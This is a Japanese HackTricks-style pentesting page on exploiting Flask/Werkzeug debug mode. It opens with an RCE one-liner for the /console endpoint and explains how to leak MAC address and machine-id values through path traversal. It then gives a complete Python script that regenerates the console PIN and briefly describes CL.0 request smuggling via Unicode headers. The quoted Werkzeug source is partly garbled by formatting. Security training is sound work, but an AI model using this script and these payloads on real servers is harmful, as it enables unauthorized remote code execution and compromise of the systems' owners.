Werkzeug / Flask Debug

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

どこからでも利用可能な脆弱性評価&ペネトレーションテストのための即時セットアップ。レコンからレポート作成まで、20以上のツールと機能を使用して完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。

コンソールRCE

デバッグがアクティブな場合、/console にアクセスして RCE を取得しよう。

__import__('os').popen('whoami').read();

インターネット上にはこれのような脆弱性がいくつか存在します。また、metasploitにも同様のものがあります。

Pin Protected - パストラバーサル

場合によっては、/console エンドポイントが PIN で保護されることがあります。ファイルトラバーサルの脆弱性がある場合、その PIN を生成するために必要なすべての情報を漏洩させることができます。

Werkzeug Console PIN Exploit

アプリ内でデバッグエラーページを強制して、これを参照してください:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Werkzeugのデバッグインターフェースにアクセスしようとすると、「コンソールがロックされている」というシナリオに遭遇し、コンソールをアンロックするためにPINが必要であることが示されます。Werkzeugのデバッグ初期化ファイル(__init__.py)内のPIN生成アルゴリズムを解析してコンソールPINを悪用することが提案されています。PIN生成メカニズムはWerkzeugソースコードリポジトリから調査できますが、潜在的なバージョンの不一致のため、実際のサーバーコードをファイルトラバーサルの脆弱性を利用して入手することが推奨されています。

コンソールPINを悪用するためには、probably_public_bitsprivate_bitsの2つの変数セットが必要です:

probably_public_bits

  • username: Flaskセッションを開始したユーザーを指します。

  • modname: 通常はflask.appと指定されます。

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): 一般的にはFlaskに解決されます。

  • getattr(mod, '__file__', None): Flaskディレクトリ内のapp.pyへの完全なパスを表します(例:/usr/local/lib/python3.5/dist-packages/flask/app.py)。app.pyが適用されない場合は、app.pycを試してください

private_bits

  • uuid.getnode(): 現在のマシンのMACアドレスを取得し、str(uuid.getnode())で10進数形式に変換します。

  • サーバーのMACアドレスを特定するには、アプリで使用されているアクティブなネットワークインターフェースを特定する必要があります(例:ens3)。不確実な場合は、デバイスIDを見つけるために**/proc/net/arpをリークし、その後/sys/class/net/<device id>/address**からMACアドレスを抽出します。

  • 16進数のMACアドレスを10進数に変換する方法は以下の通りです:

# 例としてのMACアドレス: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-idまたは/proc/sys/kernel/random/boot_idからのデータと、/proc/self/cgroupの最後のスラッシュ(/)以降の最初の行からのデータを連結します。

`get_machine_id()`のコード

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

必要なすべてのデータをまとめた後、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成できます。

必要なすべてのデータをまとめた後、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成します。スクリプトは組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらなる処理を経て最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

このスクリプトは、ビットを連結してハッシュ化し、特定のソルト(cookiesaltpinsalt)を追加し、出力をフォーマットしてPINを生成します。Werkzeugコンソールで期待されるPINと一致することを確認するために、probably_public_bitsprivate_bitsの実際の値をターゲットシステムから正確に取得する必要があります。

Werkzeugの古いバージョンを使用している場合は、ハッシュアルゴリズムをsha1からmd5に変更してみてください。

Werkzeug Unicode文字

この問題で観察されたように、WerkzeugはヘッダーにUnicode文字を含むリクエストを閉じません。そしてこの解説で説明されているように、これはCL.0リクエストスマグリングの脆弱性を引き起こす可能性があります。

これは、WerkzeugではいくつかのUnicode文字を送信することが可能で、サーバーを破壊させることができます。ただし、HTTP接続がヘッダー**Connection: keep-aliveで作成された場合、リクエストの本文は読み取られず、接続はまだ開いたままになります。そのため、リクエストの本文は次のHTTPリクエスト**として処理されます。

参考文献

脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ。レコンからレポート作成までの20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむためにカスタムツール、検出、およびエクスプロイトモジュールを開発します。

Last updated